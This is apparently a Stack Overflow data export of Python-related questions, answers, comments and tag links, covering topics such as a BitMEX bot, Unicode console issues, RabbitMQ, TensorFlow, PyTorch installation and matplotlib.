tags question: http://stackoverflow.com/q/47025470
tags question: http://stackoverflow.com/q/47022454
tags question: http://stackoverflow.com/q/46976254
tags question: http://stackoverflow.com/q/47063811
tags question: http://stackoverflow.com/q/46958264
tags question: http://stackoverflow.com/q/46930662
tags question: http://stackoverflow.com/q/46921821
tags question: http://stackoverflow.com/q/46919084
tags question: http://stackoverflow.com/q/47060345
tags question: http://stackoverflow.com/q/46933995
tags question: http://stackoverflow.com/q/46950177
tags question: http://stackoverflow.com/q/46915614
tags question: http://stackoverflow.com/q/47002808
tags question: http://stackoverflow.com/q/47011742
tags question: http://stackoverflow.com/q/47049035
tags question: http://stackoverflow.com/q/46974522
tags question: http://stackoverflow.com/q/46978919
tags question: http://stackoverflow.com/q/46987557
tags question: http://stackoverflow.com/q/46949850
tags question: http://stackoverflow.com/q/47058464
tags question: http://stackoverflow.com/q/46954855
tags question: http://stackoverflow.com/q/46921202
tags question: http://stackoverflow.com/q/46934277
tags question: http://stackoverflow.com/q/46920363
tags question: http://stackoverflow.com/q/46964726
tags question: http://stackoverflow.com/q/46912552
tags question: http://stackoverflow.com/q/47025988
tags question: http://stackoverflow.com/q/47062835
tags question: http://stackoverflow.com/q/47017722
tags question: http://stackoverflow.com/q/47019008
tags question: http://stackoverflow.com/q/46942429
tags question: http://stackoverflow.com/q/46977420
tags question: http://stackoverflow.com/q/46942566
tags question: http://stackoverflow.com/q/46945885
tags question: http://stackoverflow.com/q/46938791
tags question: http://stackoverflow.com/q/46947159
tags question: http://stackoverflow.com/q/46915239
tags question: http://stackoverflow.com/q/46973237
tags question: http://stackoverflow.com/q/47040884
tags question: http://stackoverflow.com/q/47026679
tags question: http://stackoverflow.com/q/46965755
tags question: http://stackoverflow.com/q/46973669
tags question: http://stackoverflow.com/q/46911718
type: Tag
tags question: http://stackoverflow.com/q/46978905
tags question: http://stackoverflow.com/q/46960575
tags question: http://stackoverflow.com/q/46957844
tags question: http://stackoverflow.com/q/46973444
tags question: http://stackoverflow.com/q/46948457
tags question: http://stackoverflow.com/q/47004887
tags question: http://stackoverflow.com/q/47054252
tags question: http://stackoverflow.com/q/46921831
tags question: http://stackoverflow.com/q/46971566
tags question: http://stackoverflow.com/q/47031190
tags question: http://stackoverflow.com/q/46957686
tags question: http://stackoverflow.com/q/47059880
tags question: http://stackoverflow.com/q/47046216
tags question: http://stackoverflow.com/q/47022697
tags question: http://stackoverflow.com/q/46907837
tags question: http://stackoverflow.com/q/46963404
tags question: http://stackoverflow.com/q/46932661
tags question: http://stackoverflow.com/q/47026947
tags question: http://stackoverflow.com/q/47055206
tags question: http://stackoverflow.com/q/47039738
tags question: http://stackoverflow.com/q/46945556
tags question: http://stackoverflow.com/q/47016504
tags question: http://stackoverflow.com/q/46943545
tags question: http://stackoverflow.com/q/47059534

http://stackoverflow.com/q/47061990
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has body: Thank you for your time. I am creating a BitMEX trading bot. I downloaded a bot scaffold from here: https://github.com/BitMEX/sample-market-maker I am currently trying to get info of my recent trades so I can amend future ones. The only way I can see doing this using the provided API is by getting information directly from the logger. When a trade is executed, the logger returns this info from the ws.thread : if table == 'order': is_canceled = 'ordStatus' in updateData and updateData['ordStatus'] == 'Canceled' if 'cumQty' in updateData and not is_canceled: contExecuted = updateData['cumQty'] - item['cumQty'] if contExecuted &gt; 0: instrument = self.get_instrument(item['symbol']) self.logger.info("Execution: %s %d Contracts of %s at %.*f" % (item['side'], contExecuted, item['symbol'], instrument['tickLog'], item['price'])) Is there any way I can extract the quantity and price so I can use it as variables for a different function? I suppose what I'm looking for is some type of function where if the logger is executed, then label contExecuted and item['price'] and extract it to a variable.
favorite count: 0
score: 1
tagged with: python
has title: Extracting info from logger. (Creating a BitMEX bot)
type: Question

http://stackoverflow.com/q/46984912
has comment: http://stackoverflow.com/comment/80920268
has comment: http://stackoverflow.com/comment/80920260
score: 0
has comment: http://stackoverflow.com/comment/80920418
has comment: http://stackoverflow.com/comment/80920271
answer count: 0
has comment: http://stackoverflow.com/comment/80920231
has title: python / unicode / console / windows
has comment: http://stackoverflow.com/comment/80920142
has comment: http://stackoverflow.com/comment/80920290
has comment: http://stackoverflow.com/comment/80920067
has comment: http://stackoverflow.com/comment/80934546
has comment: http://stackoverflow.com/comment/80923886
has comment: http://stackoverflow.com/comment/80920414
has comment: http://stackoverflow.com/comment/80920013
type: Question
has comment: http://stackoverflow.com/comment/80922722
has comment: http://stackoverflow.com/comment/80918526
type: UnansweredQuestion
has body: chcp 65001 and set PYTHONIOENCODING=utf-8 seems to break input in the console..?: &gt;&gt;&gt; import sys;sys.stdout.write(u'æøåÆØÅ') File "&lt;stdin&gt;", line 1 import sys;sys.stdout.write(u' ^ SyntaxError: EOL while scanning string literal &gt;&gt;&gt; ^Z Here is the entire session (as an image to prevent unicode issues): Using ConEmu doesn't seem to make a difference (on the input issue): Did I miss a needed incantation? This is not a duplicate of Unicode characters in Windows command line - how? since that question is about: ..this is about passing unicode command line arguments, rather than displaying text in the console. Console might not get involved at all
linked to: http://stackoverflow.com/q/388490
has comment: http://stackoverflow.com/comment/80920340
tagged with: python
has comment: http://stackoverflow.com/comment/80922785
has comment: http://stackoverflow.com/comment/80920224
has comment: http://stackoverflow.com/comment/80920190
has comment: http://stackoverflow.com/comment/80918478
tagged with: unicode
has comment: http://stackoverflow.com/comment/80920386
has comment: http://stackoverflow.com/comment/80920298

http://stackoverflow.com/comment/81032071
comment on: http://stackoverflow.com/q/47042251
score: 0
has text: @schwabseggl Do you think the `Comment` model should have a `blog = models.ForeignKey(Blog, on_delete=models.SET_NULL, null=True)` attribute to correct the problem? The `comment_set` is created to return the set of all `Comment` records connected to the particular `Blog` instance
type: QuestionComment
type: Comment

http://stackoverflow.com/q/47003758
has title: Python appending to list will remove unicode
accepted answer: http://stackoverflow.com/a/47003818
has comment: http://stackoverflow.com/comment/80953971
has comment: http://stackoverflow.com/comment/80954000
has answer: http://stackoverflow.com/a/47003818
has comment: http://stackoverflow.com/comment/80954034
has body: I have string: a więc when I print it all ok, but when I append to list it changes to u'a wi\u0119c'. Then I am trying to save to file (using json.dumps because there is many words in list) and it stays u'a wi\u0119c'. How to fix to make the u'a wi\u0119c' to a więc? import urllib2 from bs4 import BeautifulSoup import sys import json reload(sys) sys.setdefaultencoding('utf-8') def scrapsl(): wordlist = [] deflist = [] soup = BeautifulSoup(urllib2.urlopen('https://sjp.pl/slownik/lp.phtml?page=1').read(), "html.parser") nextpage = soup.find_all('b')[1].a.get('href') for i in range(2, 52): wordlist.append(unicode(soup.find_all('tr')[i].td.text)) print(unicode(soup.find_all('tr')[i].td.text)) sp = BeautifulSoup(urllib2.urlopen('https://sjp.pl/' + str(wordlist[(len(wordlist) - 1)]).replace(' ', "+")).read(), "html.parser") deflist.append({wordlist[(len(wordlist) - 1)]: sp.find_all('p')[3].text}) print(str(i) + "\\52") print wordlist writelist = [] writelist.append(wordlist) writelist.append(deflist) ftw = open("slownik.txt", 'w') ftw.write(json.dumps(writelist)) ftw.close() scrapsl() Thanks
tagged with: python
has comment: http://stackoverflow.com/comment/80954006
type: AnsweredQuestion
score: 2
tagged with: python-2.7
upvote count: 2
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/80954072
tagged with: unicode
favorite count: 0
type: Question
tagged with: beautifulsoup

http://stackoverflow.com/comment/80976334
comment on: http://stackoverflow.com/a/47006380
has text: @WiktorStribiżew, you're right, and right :) I used `re.U` by habit, and overlooked the group zero. I'll update the answer, thank you.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/97640204
has text: Hi. what is your input for this script? How would I use this for a given shapefile? Thanks.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47074366
type: AnswerComment

parallel-processing
tags question: http://stackoverflow.com/q/46972583
type: Tag
tag name: parallel-processing
tags question: http://stackoverflow.com/q/47017976
tags question: http://stackoverflow.com/q/46933333
tags question: http://stackoverflow.com/q/46924092
tags question: http://stackoverflow.com/q/46991373

http://stackoverflow.com/comment/80879504
type: QuestionComment
comment on: http://stackoverflow.com/q/46965927
score: 0
type: Comment
has text: Typos XD, anyway it's gotten better but it still hasn't made the submenus work do you know how i could fix that?

http://stackoverflow.com/q/47017317
tagged with: queue
score: 1
upvote count: 1
downvote count: 0
has title: RabbitMQ and Python 3: How to consume message from different queues with priority
answer count: 1
favorite count: 0
has body: I have two types of tasks task1 and task2; also I have two types of consumers ConsumerA and ConsumerB. ConsumerA can process only tasks type task1. ConsumerB can process both types of tasks: task1 and task2. I want the ConsumerA to process only tasks type task1. I want the ConsumerB to process tasks type task2 first and process tasks type task1 only when there is no tasks type2. How to design this solution with RabbitMQ. I think about using two queues, but I don't know how to ensure that it processes tasks type2 only when there are no tasks type1. I have read all StackOverflow without any success. Maybe someone solved this task?
type: Question
tagged with: python-3.x
tagged with: pika
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47017889
tagged with: rabbitmq

http://stackoverflow.com/a/47212757
answers question: http://stackoverflow.com/q/47014306
has comment: http://stackoverflow.com/comment/81408199
has body: Typically, you'll want to wrap graph construction up in functions, so that you can rebuild your graph conditionally for the prediction case, because usually quite a few pieces of the graph change from training to prediction. As you've discovered NCHW and NWHC versions of, for example the convolutional layers, are actually different Ops in the graph proto, and they are hardcoded this way because GPU optimizations are only possible for one of the formats. Editing graph protos is very difficult to do correctly, which is why most TensorFlow code that does this follows the pattern I described above. At a very high level: def build_graph(data_format='NCHW'): # Conditionally use proper ops based on data_format arg training_graph = tf.Graph() with training_graph.as_default(): build_graph(data_format='NCHW') with tf.Session() as sess: # train # checkpoint session prediction_graph = tf.Graph() with prediction_graph.as_default(): build_graph(data_format='NHWC') # load checkpoint # freeze graph Note that the tf.estimator.Estimator framework makes this relatively easy. You can use the mode argument in your model_fn to decide between data formats and then have two different input_fns for training and prediction, and the framework will do the rest. You can find an end to end example of this here: https://github.com/tensorflow/models/blob/master/tutorials/image/cifar10_estimator/cifar10_main.py#L77 (I've linked to the relevant lines)
has comment: http://stackoverflow.com/comment/81389268
has comment: http://stackoverflow.com/comment/81493009
has comment: http://stackoverflow.com/comment/81493114
has comment: http://stackoverflow.com/comment/81538583
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81407180
has comment: http://stackoverflow.com/comment/81415491
score: 1
type: Answer

http://stackoverflow.com/comment/80792986
has text: @user4573 Try `+= b"\u000"`?
comment on: http://stackoverflow.com/a/46921759
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/47034704
has body: There is a list: name = [('Ferdinand',)] And i want to get this: 'Ferdinand' What should i do?
score: 0
has comment: http://stackoverflow.com/comment/81015612
tagged with: list
has comment: http://stackoverflow.com/comment/81015550
tagged with: python
has comment: http://stackoverflow.com/comment/81016168
type: Question
has answer: http://stackoverflow.com/a/47037089
has title: Remove specific characters from a list (Python3)
type: UnansweredQuestion
answer count: 1
upvote count: 1
tagged with: string
downvote count: 1
favorite count: 0

http://stackoverflow.com/a/47122179
has body: This API Gateway problem (which was confirmed by AWS people) has existed for months. Luckily, they have recently (June 2017) published a way to fix it using Gateway Responses. In your API Gateway console, go to your API and then Gateway Responses. Look for Unauthorized (401) and add the following headers (you can use your domains, of course): Access-Control-Allow-Headers: '*' Access-Control-Allow-Origin: '*' See image below:
downvote count: 0
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/81376874
has comment: http://stackoverflow.com/comment/81408242
answers question: http://stackoverflow.com/q/47060661
score: 1
has comment: http://stackoverflow.com/comment/81402437
has comment: http://stackoverflow.com/comment/81435854

http://stackoverflow.com/comment/80933514
has text: I don't have any experience with Django object serializers so I can't comment on the specifics, but it seems like you've got the right idea.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46993209
score: 0

http://stackoverflow.com/comment/81050067
has text: I've experienced this problem on a bigger (preprocessed) dataset, it's not easy to recreate the problem in small scale or get the data from the environment. I am using a dataset similar to this (please change the data format to this: '%d-%b-%y') http://finance.google.ca/finance/historical?q=AAN&startdate=01+01+2016&enddate=01+01+2017&output=csv
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47050885
score: 0

http://stackoverflow.com/comment/81005167
has text: Correct. The consumers in your case are the 10 threads. The producer is the main thread that's running the for loop. If you had launched more threads that use `Queue.put`, then you would have multiple consumers
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47028771

http://stackoverflow.com/comment/80760603
comment on: http://stackoverflow.com/q/46905980
has text: @GPhilo I edited my question to incorporate it.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81000876
type: Comment
comment on: http://stackoverflow.com/a/47026838
score: 0
has text: If you are having side notes that will not answer the original question, please post them as comments not as an answer. Answers not related to the question might get down voted.
type: AnswerComment

http://stackoverflow.com/a/46911084
upvote count: 13
has comment: http://stackoverflow.com/comment/80769769
has body: Use: df = pd.DataFrame(json['selection']) print (df) description label person_id position_id startDate \ 0 A description Work 105894 1.0 2017-07-16T19:20:30+01:00 1 A description Illness 945123 NaN 2017-07-17T19:20:30+01:00 stopDate 0 2017-07-16T20:20:30+01:00 1 2017-07-17T20:20:30+01:00 EDIT: import json with open('file.json') as data_file: json = json.load(data_file)
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46911055
downvote count: 0
score: 13
accepted answer of: http://stackoverflow.com/q/46911055
type: Answer

http://stackoverflow.com/a/47024174
accepted answer of: http://stackoverflow.com/q/47024156
has body: You need to use a raw string literal r"C:\Users\Dell\Desktop\ll\file3.txt" or escape your backslashes "C:\\Users\\Dell\\Desktop\\ll\\file3.txt"
type: Answer
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47024156

http://stackoverflow.com/q/46991226
has title: pip to install Pytorch for usr/bin/python
score: 0
tagged with: pytorch
tagged with: malmo
answer count: 1
tagged with: macos
has body: I have set up Malmo on my mac and got into a trouble. I am using Malmo-0.17.0-Mac-64bit, python 2.7, macOS Sierra. As it is explained on the Malmo installation instruction, mac users require to run the python scripts with the default mac python located on /usr/bin/python. I am aiming to implement a neural nets with Pytorch and doing some experiments. However, when I run the command /usr/bin/python -m pip install http://download.pytorch.org/whl/torch-0.2.0.post3-cp27-none-macosx_10_7_x86_64.whl to install Pytorch I am getting this error: Command "/usr/bin/python -u -c "import setuptools, tokenize;__file__='/private/var/folders/c7/24z_lgxx4b7107ynf4cy34qh0000gn/T/pip-build-kLOmTh/pyyaml/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /var/folders/c7/24z_lgxx4b7107ynf4cy34qh0000gn/T/pip-YxAJnq-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /private/var/folders/c7/24z_lgxx4b7107ynf4cy34qh0000gn/T/pip-build-kLOmTh/pyyaml/. I was wondering if anyone has faced the same problem. Many Thanks,
accepted answer: http://stackoverflow.com/a/46991264
type: Question
has answer: http://stackoverflow.com/a/46991264
type: AnsweredQuestion
tagged with: neural-network
tagged with: python

http://stackoverflow.com/a/46986925
answers question: http://stackoverflow.com/q/46986856
has comment: http://stackoverflow.com/comment/80921092
upvote count: 2
has comment: http://stackoverflow.com/comment/80922947
has comment: http://stackoverflow.com/comment/80931817
downvote count: 0
has comment: http://stackoverflow.com/comment/80920745
has comment: http://stackoverflow.com/comment/80922561
score: 2
has body: The with statement causes the automatic execution of the object's __exit__ method at the end of the block. It's reasonable to assume that after __exit__ the object is in an unusable state, even if you still have a reference to it. Saving it as an object attribute would be ill advised. In your specific example you'd be better off passing the file explicitly as a parameter to another_method.
has comment: http://stackoverflow.com/comment/80920776
type: Answer
has comment: http://stackoverflow.com/comment/80920969

http://stackoverflow.com/comment/80872542
comment on: http://stackoverflow.com/a/46961199
score: 0
type: Comment
has text: @RikdenHartog I don't understand. You want to edit the button text? Then you need to make a list of button objects and call `btn.config(text=new_text)` for each one. Make a better example and put it in a new post.
type: AnswerComment

fingerprint
tags question: http://stackoverflow.com/q/46968100
tag name: fingerprint
type: Tag

http://stackoverflow.com/a/46953284
has body: In ngrams filter you define min_gram which is minimum length of created tokens. In your case '2' has length: 1 so this is ignored in ngram filters. The easiest way to fix this is to change min_gram to 1. A bit more complicated way can be to combine some standard analyzer to match whole keyword (useful for shorter terms) and ngram analzyer for partial matching (for longer terms) - maybe with some bool queries. You can also change ngrams to start from '1' characters but in your search box require at least 3 letters before send query to Elasticsearch.
score: 2
answers question: http://stackoverflow.com/q/46949264
type: Answer
accepted answer of: http://stackoverflow.com/q/46949264
upvote count: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47027186
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/47029325
type: AnsweredQuestion
answer count: 3
has title: "List indices must be integers or slices, not tuple" error
score: 1
has body: I am a beginner at coding and I'm currently making an rpg. When I run the code, it gives me the above error. The part that is giving me the error is print("You are on " + floors[currentRoom] + ". You find " + floorsFeature[currentRoom]). My guess is that there must be something wrong with floors, floorsFeature, and currentRooms. Because I'm a beginner, I'm not sure what the error means. Can someone please explain in simple terms? print("You are finally a Pokemon trainer! Today, you have gotten your very first Pokemon, a Bulbasaur!") name = input("What will you name your Bulbasaur? ") print("Unfortunately, " + name + " doesn't seem to obey or like you...") print("You try to be friendly to " + name + ", but it just won't listen...") print("As " + name + " was busy ignoring you, something seems to catch its attention and it runs off!") print("You chase after " + name + ", but it's too fast! You see it running into an abandoned Pokeball Factory.") print("You must explore the abandoned Pokeball Factory and find " + name + " before something happens to it!") print() print("You may input 'help' to display the commands.") print() gamePlay = True floors = [['floor 1 room 1', 'floor 1 room 2', 'floor 1 room 3', 'floor 1 room 4'],['floor 2 room 1', 'floor 2 room 2', 'floor 2 room 3', 'floor 2 room 4', 'floor 2 room 5'],['floor 3 room 1,' 'floor 3 room 2', 'floor 3 room 3'],['floor 4 room 1', 'floor 4 room 2']] floorsFeature = [['nothing here.', 'nothing here.', 'stairs going up.', 'a Squirtle.'],['stairs going up and a pokeball.', 'a Charmander.', 'a FIRE!!!', 'stairs going down.', 'a pokeball.'],['stairs going down.', 'a door covered in vines.', '2 pokeballs!'],['your Bulbasaur!!!', 'an Eevee with a key tied around its neck.']] currentRoom = [0][1] pokemonGot = [] count = 0 bagItems = [] countItems = 0 while gamePlay == True: print("You are on " + floors[currentRoom] + ". You find " + floorsFeature[currentRoom]) move = input("What would you like to do? ") while foo(move) == F…
has answer: http://stackoverflow.com/a/47027664
accepted answer: http://stackoverflow.com/a/47027664
has comment: http://stackoverflow.com/comment/81002260
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81006823
has answer: http://stackoverflow.com/a/47031490
downvote count: 0
possible better answer: http://stackoverflow.com/a/47031490

http://stackoverflow.com/comment/96116006
comment on: http://stackoverflow.com/a/46980949
score: 1
type: Comment
has text: Can you please put the code through which you are creating connection with boto3? @emmdee
type: AnswerComment

http://stackoverflow.com/q/46988341
accepted answer: http://stackoverflow.com/a/46988604
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46988604
score: 1
answer count: 1
upvote count: 1
favorite count: 0
type: Question
has title: Elasticsearch: Sorted scroll in python inconsistent
has body: I am a little confused with the results. I have a simple query to get the latest document added (based on sorted created date or timestamp): query = { "query": {"match_all": {}}, "sort": [ {"created_date": "desc"} ], "size": 1 } When I use helpers.scan() abstraction over Scroll() API. I get a hit which is different each time (inconsistent). My Elastic cluster is static (no new data points are being added) and the inconsistency in response is strange as I have sorted all entries and asked to return the the first hit (size 1) in my query. What am I missing here ?
downvote count: 0
tagged with: elasticsearch
tagged with: python

http://stackoverflow.com/q/46919473
has comment: http://stackoverflow.com/comment/80786592
has body: mynumbers=[0,1,0,1,6,0,2,0,9] def sum(mynumbers): total = 0 for x in mynumbers: total =1+x return total print(sum(mynumbers)) I do like that but I want to find the sum in list type how I find sum of number in list ?
has comment: http://stackoverflow.com/comment/80786615
has answer: http://stackoverflow.com/a/46919670
score: -5
has comment: http://stackoverflow.com/comment/80786727
upvote count: 0
has comment: http://stackoverflow.com/comment/80788345
has comment: http://stackoverflow.com/comment/80786514
answer count: 1
has comment: http://stackoverflow.com/comment/80786745
linked to: http://stackoverflow.com/q/4362586
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80786482
has title: Sum of list in list
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80786554
tagged with: python
downvote count: 5

http://stackoverflow.com/a/46974632
score: 2
upvote count: 2
downvote count: 0
has body: You are looking for Bresenham's Line Algorithm.
type: Answer
answers question: http://stackoverflow.com/q/46974522

http://stackoverflow.com/q/46990848
has comment: http://stackoverflow.com/comment/80955650
has comment: http://stackoverflow.com/comment/80937779
answer count: 0
has comment: http://stackoverflow.com/comment/80934465
tagged with: pyqt
score: 1
has comment: http://stackoverflow.com/comment/80934783
has comment: http://stackoverflow.com/comment/80958224
has comment: http://stackoverflow.com/comment/80934113
has comment: http://stackoverflow.com/comment/80934141
tagged with: pyqt5
has comment: http://stackoverflow.com/comment/80937700
has comment: http://stackoverflow.com/comment/80934501
has body: I have had a program in PyQt5. The program have had a QTextEdit field for printing clear HTML using Python’s method html.escape(). Every string have added in the field using .append(). Some tags in some strings needed to be highlighted. And I have used next code: self.textEdit.append('{0}{color}{1}{endcolor}{2}'.format(begin, color_text, end, color='&lt;font color="red"&gt;', endcolor='&lt;/font&gt;') Lately I found a module in Internet that can print strings number. This module use QPlainTextEdit. Also I found a module for syntax highlight, that was arranged by QSyntaxHighlighter and it’s for QPlainTextEdit too. It all works good, but now I can‘t highlight additional tags using code above. I have to highlight not only html syntax, but also additional some tags by other color. I tried to create another QSyntaxHighlighter that would highlight a whole text it get. def format(color, style=''): _color = QColor() _color.setNamedColor(color) _format = QTextCharFormat() _format.setForeground(_color) return _format class PythonHighlighter (QSyntaxHighlighter): def __init__(self, document): QSyntaxHighlighter.__init__(self, document) def highlightBlock(self, text): self.setFormat(0, len(text), format('red')) self.setCurrentBlockState(0) Then in necessary place I write: highlight = syntax.PythonHighlighter(self.textEdit.document()) self.textEdit.show() self.textEdit.appendPlainText(...) I thought to apply this highlighter to places of html that between{color} and {endcolor} above in code. Can I apply highlighter only to part of field? How? And if I can't, which are there methods to solve my problem? P.S. Sorry for mistakes in my English. You can tell me about them.
has comment: http://stackoverflow.com/comment/80933846
has comment: http://stackoverflow.com/comment/80934325
has comment: http://stackoverflow.com/comment/80955681
has title: PyQt. Highliting some places in text using QSyntaxHighlighter
has comment: http://stackoverflow.com/comment/80933570
favorite count: 0
has comment: http://stackoverflow.com/comment/80938024
type: Question
has comment: http://stackoverflow.com/comment/80934697
has comment: http://stackoverflow.com/comment/80934267
has comment: http://stackoverflow.com/comment/80955767
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80938000
has comment: http://stackoverflow.com/comment/80955703
has comment: http://stackoverflow.com/comment/80937927
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80933935
has comment: http://stackoverflow.com/comment/80955782
has comment: http://stackoverflow.com/comment/80937536
has comment: http://stackoverflow.com/comment/80934752
has comment: http://stackoverflow.com/comment/80937836
has comment: http://stackoverflow.com/comment/80931576
has comment: http://stackoverflow.com/comment/80935280
has comment: http://stackoverflow.com/comment/80935230
has comment: http://stackoverflow.com/comment/80928490

http://stackoverflow.com/a/46933922
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/91262313
has comment: http://stackoverflow.com/comment/91230459
accepted answer of: http://stackoverflow.com/q/46933824
answers question: http://stackoverflow.com/q/46933824
has comment: http://stackoverflow.com/comment/87592622
type: AcceptedAnswer
has body: This is a good example that shows the benefit of using matplotlib's object oriented API. import numpy as np import matplotlib.pyplot as plt # Generate random data data = np.random.rand(100) # Plot in different subplots fig, (ax1, ax2) = plt.subplots(1, 2) ax1.plot(data) ax2.plot(data) ax1.plot(data+1) plt.show() Note: it is more pythonic to have variable names start with a lower case letter e.g. data = ... rather than Data = ... see PEP8
has comment: http://stackoverflow.com/comment/91249951
upvote count: 39
score: 38

http://stackoverflow.com/comment/80988866
score: 0
type: Comment
type: QuestionComment
has text: @IamBatman These are separate files.
comment on: http://stackoverflow.com/q/47020772

http://stackoverflow.com/q/47025267
tagged with: linear-regression
has comment: http://stackoverflow.com/comment/80997665
tagged with: python
has title: Linear Regression in Python following Andrew ng video
has comment: http://stackoverflow.com/comment/80998314
has answer: http://stackoverflow.com/a/47032411
type: UnansweredQuestion
answer count: 1
tagged with: machine-learning
type: Question
score: 0
has body: I came across andrew Ng's course on youtube and watched the following video (2min03) I tried to implement the following function to plot it afterwards has he shows in his slides, but it seems that I only get a slope. Moreover, I have tried to plot the theta0 and theta1 against JList as a mesh plot I keep getting an an erroneous plot, any help on how to get the same plot as in his video is welcome from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt import numpy as np from fractions import Fraction from matplotlib import cm theta0=[] theta1=[] JList=[] csv=np.genfromtxt('ex1.data', delimiter=",") x=csv[:,0] y=csv[:,1] for a in np.arange(-50,50,1): for b in np.arange(1,10,1): theta0.append(a) theta1.append(b) result=0 for c in range(len(x)): sum=float(a+(b*x[c])-(y[c])) np.power(sum,2) result+=float(sum) Jt=0 Jt=Fraction(1,2*len(x)) Jt=Jt*result JList.append(int(Jt)) fig = plt.figure() ax = fig.gca(projection='3d') X, Y = np.meshgrid(theta1, theta0) surf = ax.plot_surface(X, Y, JList, cmap=cm.coolwarm, linewidth=0, antialiased=False) plt.show() This is a sample of ex1.data 6.1101,17.592 5.5277,9.1302 8.5186,13.662 7.0032,11.854 5.8598,6.8233 8.3829,11.886 7.4764,4.3483 8.5781,12 6.4862,6.5987 5.0546,3.8166 5.7107,3.2522 14.164,15.505 5.734,3.1551 8.4084,7.2258 5.6407,0.71618 5.3794,3.5129 6.3654,5.3048 5.1301,0.56077 6.4296,3.6518 7.0708,5.3893 6.1891,3.1386 20.27,21.767 5.4901,4.263 6.3261,5.1875 5.5649,3.0825 18.945,22.638 12.828,13.501 10.957,7.0467 13.176,14.692 22.203,24.147 5.2524,-1.22 6.5894,5.9966 9.2482,12.134 5.8918,1.8495 8.2111,6.5426 7.9334,4.5623 8.0959,4.1164 5.6063,3.3928 12.836,10.117 6.3534,5.4974 5.4069,0.55657 I believe there is an error in the python code to compute and there is no error, this is what it plots which I doubt is what it's meant to show.

http://stackoverflow.com/q/47061090
has title: Issues installing OpenCV with Python 3 on macOS High Sierra
has body: I have tried to install opencv3 with homebrew on my mac. I have run: $ brew install opencv3 --with-contrib --with-python3 --HEAD When I enter this command, opencv is installed but it says: Warning: opencv: this formula has no --with-contrib option so it will be ignored! Warning: opencv: this formula has no --with-python3 option so it will be ignored! Warning: opencv: this formula has no --HEAD option so it will be ignored! I have noticed that opencv will work within python 2 but I would like it to work in python 3 as well. I am using python 3.6.
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47165995
tagged with: python
tagged with: macos
tagged with: homebrew
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: opencv

http://stackoverflow.com/a/47056597
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81060432
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81060238
accepted answer of: http://stackoverflow.com/q/47056147
has body: Assuming brew at least installed Python correctly, a workaround to ensure its pip module is used is to explicitly use it like so python -m pip install If you want, you can alias pip-inst to redirect to that, so it's less typing
type: Answer
answers question: http://stackoverflow.com/q/47056147
score: 2

http://stackoverflow.com/comment/80782655
comment on: http://stackoverflow.com/q/46917344
type: Comment
type: QuestionComment
has text: code snippet added.
score: 0

http://stackoverflow.com/comment/80915767
has text: Thank you for your solution! Now there are no errors, but the output bring me to think about the data. 60.865 devices are available in "events", 74.645 devices are available in "gender_age_train". But how can now come out with the join 23.309?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46984065
score: 0

http://stackoverflow.com/comment/80821007
type: AnswerComment
comment on: http://stackoverflow.com/a/46936564
type: Comment
has text: You don't if `\n` is inside line string.
score: 0

http://stackoverflow.com/comment/80999669
type: QuestionComment
type: Comment
score: 0
has text: This is quite unclear, if yourself don't know what you want, how could we? If you want the curvature it is simply defined as the double derivative, i.e. the gradient of the gradient. If you want the slope, it is simply the gradient. Then the computation is straight forward... and if you care only about the magnitude, then just take the `abs`.
comment on: http://stackoverflow.com/q/47026148

http://stackoverflow.com/comment/81071653
type: QuestionComment
score: 0
has text: You can flag the question and ask the moderators move it so you don't have to delete it on one site and create it on another site. It also resets the question's score. For whatever reasons, the Stack Exchange network does not allow you to migrate it yourself. Also see [Author initiated migration to other SE sites?](http://meta.stackoverflow.com/q/254851)
type: Comment
comment on: http://stackoverflow.com/q/47060759

http://stackoverflow.com/comment/81014093
comment on: http://stackoverflow.com/a/46948640
type: Comment
has text: Should note on a 16 mil row data frame, the `na.locf` method runs into memory issues whereas my `shift` method still works
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80936872
comment on: http://stackoverflow.com/q/46995204
score: 1
has text: Your df is not directly reproducible. This minimizes your chance of getting an answer.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80829206
type: AnswerComment
comment on: http://stackoverflow.com/a/46940300
has text: This code works but it still goes and clicks each follow button which results in unfollowing users previous followed and brings up the original issue.
type: Comment
score: 0

http://stackoverflow.com/a/47056402
answers question: http://stackoverflow.com/q/47050571
upvote count: 5
type: Answer
score: 4
